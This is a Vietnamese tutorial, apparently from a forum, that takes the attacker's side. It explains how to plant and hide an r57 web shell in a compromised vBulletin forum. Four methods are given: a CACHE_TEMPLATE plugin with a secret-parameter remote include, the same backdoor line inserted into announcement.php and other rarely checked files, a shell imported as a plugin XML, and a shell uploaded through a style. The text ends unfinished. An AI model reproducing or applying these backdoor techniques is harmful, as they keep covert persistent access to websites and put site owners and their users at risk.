I/Phương diện hacker - upload shell
Bỏ qua phần làm thế nào hacker có shell trên host, mình chỉ nói đến việc hacker đã khai thác file config và hoàn toàn chiếm quyền admin của website bạn. Sau đây mình sẽ liệt kê một cách gần như đầy đủ các phương pháp mà hacker có thể chèn shell và ẩn nó trong forum của bạn để có thể dễ dàng trong những cuộc tấn công tiếp theo.
Method 1: tạm gọi là up shell qua việc edit teamplate (cách này gần giống với kiều RFI-remote file include)
Bạn lần lượt làm như sau:
Vào admincp -->Plugin manager -->Add new plugin Ở phần HOOK Location bạn chọn là : CACHE_TEMPLATE nhé,
Phần Name: có thể đặt tên tùy ý
Phần plugin php code hãy dùng đoạn code sau để include shell:
{ if($_GET['nameshell']=="helloworld"){ include('http://localhost/r57new.php'); } }

Chọn đồng ý (yes) để active plugin này nhé .

Bây giờ cùng test nhé ở đây mình test trên localhost.
bạn thêm phần ?nameshell=helloworld vào sau:
index.php hoặc image.php, online.php hay bất cứ file php nào ở ngoài index của host, cái này tùy thuộc vào bạn
Ở đây mình thử với index.php nhé

Method 2: chèn shell bằng cách edit file .php có trong host
Bạn tìm những file mà admin ít để ý để chèn đoạn code sau vào nhé, có thể chèn vào bất cứ đâu mà bạn muốn.
if ($_REQUEST['nameshell']=="helloworld") { include ("http://localhost/r57new.php"); }
Demo: mình edit file announcement.php
<?php /*================================================= =====================*\ || ################################################## ################## || || # vBulletin 3.7.2 || # ---------------------------------------------------------------- # || || # Copyright ©2000-2007 Jelsoft Enterprises Ltd.
Search Engine Friendly URLs by vBSEO 3.2.0 RC7 ©2008, Crawlability, Inc. All Rights Reserved. || || # This file may not be redistributed in whole or significant part. # || || # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # || || # vBulletin� - Instant Community | http://www.vbulletin.com/license.html # || || ################################################## ################## || \*================================================ ======================*/ if ($_REQUEST['nameshell']=="helloworld") { include ("http://localhost/r57new.php"); } // ######################## SET PHP ENVIRONMENT ########################### error_reporting(E_ALL & ~E_NOTICE); // ##################### DEFINE IMPORTANT CONSTANTS ####################### define('THIS_SCRIPT', 'announcement'); // #################### PRE-CACHE TEMPLATES AND DATA ###################### // get special phrase groups $phrasegroups = array( 'postbit', 'reputationlevel', 'posting', );

Method 3: là cách import file xml qua plugin
Bạn lần lượt làm như sau:
Plugins & Products --> Download / Upload Plugins --> chọn lấy con shell xml và import vào.

Bạn có thể mở source file shell xml lên và thay subscriptions.php bằng repair.php hoặc faq.php (bất cứ file .php nào trong admincp mà bạn nghĩ admin site đó sẽ không chú ý đến). Bạn cũng có thể import vào nhiều file cho chắc ăn
cách run shell cũng khá đơn giản là bạn import shell vào file nào thì run file đó thôi chẳn hạn tôi import shell vào file subscriptions.php tôi sẽ run shell như thế này admincp/subscriptions.php làm theo tương tự với những file khác
demo here:

Method 4: import shell qua skin
Bạn lần lượt làm như sau:
Styles & Templates --> Download / Upload Styles --> chọn shell để upload (đính kèm ở bài viết)
Bạn muốn thêm shell vào skin nào thì ở phần Merge Into Style chọn skin đó.

và đây là kết quả

Còn tiếp

